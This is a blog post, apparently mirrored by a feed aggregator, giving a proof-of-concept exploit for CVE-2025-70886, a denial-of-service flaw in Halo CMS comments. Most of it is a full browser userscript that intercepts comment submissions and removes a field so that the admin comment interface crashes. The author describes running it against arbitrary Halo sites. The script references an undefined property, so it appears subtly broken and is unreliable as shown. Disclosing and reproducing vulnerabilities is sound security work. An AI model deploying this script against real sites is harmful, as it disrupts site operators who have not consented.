惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

宝玉的分享
宝玉的分享
Engineering at Meta
Engineering at Meta
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
博客园 - 聂微东
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Last Week in AI
Last Week in AI
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 三生石上(FineUI控件)
T
Tailwind CSS Blog
Apple Machine Learning Research
Apple Machine Learning Research
Hugging Face - Blog
Hugging Face - Blog
爱范儿
爱范儿
博客园 - 司徒正美
人人都是产品经理
人人都是产品经理
Jina AI
Jina AI
博客园 - 叶小钗
雷峰网
雷峰网
罗磊的独立博客
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - Franky
WordPress大学
WordPress大学
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
阮一峰的网络日志
阮一峰的网络日志
量子位

皓子的小站

网站字体应用之坑——font-family 篇 糟糕的 meta name="theme-color" How to Automatically Track Newly Supported ESLint Rules in Oxlint How to Gradually Migrate from ESLint to Oxlint (Without Breaking Everything) 静态资源预压缩:零运行时开销,极致节省带宽 自定义网页鼠标指针——一段曲折的旅程 CVE-2025-70886 漏洞复现/PoC | 一个脚本让 Halo CMS 评论后台瘫痪 2025 年终总结 & 博客两周年 老用户专享!已有 Halo 专业版授权可免费升级商业版 自动追踪 Oxlint 对 ESLint 规则的新增支持 Halo 贡献者证书与实体周边盲盒开箱 博客评论系统指南 CDN 回源跟随配置导致登录异常问题排查 SCDN 免费赞助计划:助力高质量博客&博客圈 锐捷校园网:网络共享与带宽叠加方案(哈理工案例) ESLint 到 Oxlint 渐进式迁移快速上手指南 Fixing Vite Breaking Inline JS & CSS in Thymeleaf Templates 解决 Vite 破坏 Thymeleaf 模板内联 JS & CSS 的方法 我的博客,为什么是月更? 博客俱乐部一周年纪念品开箱 网站字体加载之坑——format 篇 经历 1000000000 次 DDoS 请求攻击后,我总结了三条经验 题解分享:[AtCoder Beginner Contest 414 E] Count A%B=C 题解分享:[蓝桥杯 2025 国 Python A] 杨辉三角 P12876 FiF口语训练破解刷分教程(适用于 Windows) 不要与蠢人辩论 小心网络地雷·续篇 当心网络组织“开往”·续篇 当心网络组织“开往” 小心网络地雷
CVE-2025-70886 Proof of Concept (PoC) | A Script to Crash...
HowieHz · 2026-02-06 · via 皓子的小站

简体中文 | English

A Proof of Concept (PoC) exploit for CVE-2025-70886, a persistent denial-of-service vulnerability in Halo CMS (v2.22.4 and earlier) that allows remote attackers to crash the admin comment interface by submitting malformed payloads.

Introduction

While surfing the web, I found Issue #7890 · halo-dev/halo. I thought this issue was submitted on November 1, 2025, and it's now January 4, 2026, so it should have been fixed by now.

Reproduction

With AI assistance, I quickly wrote the following Tampermonkey script for verification:

Click to expand details
// ==UserScript==
// @name         Modify Halo comment payload
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    'use strict';
    console.log('[modify_halo_comment] script started');
    const targetPath = '/apis/api.halo.run/v1alpha1/comments';

    const REMOVE = {
        paths: [
            'subjectRef.version',
        ]
    };

    function deletePath(obj, dottedPath) {
        if (!obj || typeof obj !== 'object') return false;
        const parts = String(dottedPath).split('.').filter(Boolean);
        if (parts.length === 0) return false;

        let current = obj;
        for (let i = 0; i < parts.length - 1; i++) {
            const key = parts[i];
            if (!current || typeof current !== 'object') return false;
            current = current[key];
        }
        if (!current || typeof current !== 'object') return false;
        const lastKey = parts[parts.length - 1];
        if (lastKey in current) {
            delete current[lastKey];
            return true;
        }
        return false;
    }

    function stripFields(obj) {
        let modified = false;

        if (obj && typeof obj === 'object') {
            for (const key of REMOVE.topLevelKeys) {
                if (key in obj) {
                    delete obj[key];
                    modified = true;
                }
            }
            for (const path of REMOVE.paths) {
                if (deletePath(obj, path)) modified = true;
            }
        }

        return modified;
    }

    // --- patch fetch ---
    const _fetch = window.fetch;
    window.fetch = async function (input, init) {
        try {
            const req = (input instanceof Request) ? input : null;
            const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
            let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
            let method = (init && init.method) || (req && req.method) || 'GET';

            if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
                console.log('[modify_halo_comment] intercept', { url, method });
                const serializeBody = async (body) => {
                    if (typeof body === 'string') return body;
                    if (body instanceof Blob) return await body.text();
                    if (body instanceof FormData) return null;
                    if (body && typeof body === 'object') {
                        try { return JSON.stringify(body); } catch (e) { }
                    }
                    return null;
                };

                const tryModify = (rawBody) => {
                    if (!rawBody) return null;
                    try {
                        const obj = JSON.parse(rawBody);
                        const changed = stripFields(obj);
                        if (changed) {
                            const out = JSON.stringify(obj);
                            console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
                            return out;
                        }
                        console.log('[modify_halo_comment] no fields matched; not modified');
                    } catch (e) { }
                    return null;
                };

                if (init && 'body' in init && init.body != null) {
                    const serialized = await serializeBody(init.body);
                    console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
                    const modified = tryModify(serialized);
                    if (modified) {
                        init = Object.assign({}, init, { body: modified });
                        console.log('[modify_halo_comment] removed configured fields (fetch init)');
                    }
                } else if (req) {
                    const cloned = req.clone();
                    const text = await cloned.text();
                    const modified = tryModify(text);
                    if (modified) {
                        const reqInit = {
                            method: req.method,
                            headers: req.headers,
                            body: modified,
                            referrer: req.referrer,
                            referrerPolicy: req.referrerPolicy,
                            mode: req.mode,
                            credentials: req.credentials,
                            cache: req.cache,
                            redirect: req.redirect,
                            integrity: req.integrity,
                            keepalive: req.keepalive,
                            signal: req.signal
                        };
                        input = new Request(req.url, reqInit);
                        console.log('[modify_halo_comment] removed configured fields (fetch Request)');
                    }
                }
            }
        } catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
        return _fetch.call(this, input, init);
    };
})();

After loading the script, I went to any Halo CMS site and posted a comment. After submitting the comment, the backend comment page throws errors, showing an internal server error.

Workaround

The solution is to download the Data Studio plugin to delete the malicious comments.

Environment

Tested on:

  • Halo CMS: v2.22.4
  • Comment Component: v3.0.0

Acknowledgments:
Thanks to 林间拾语 for helping with testing.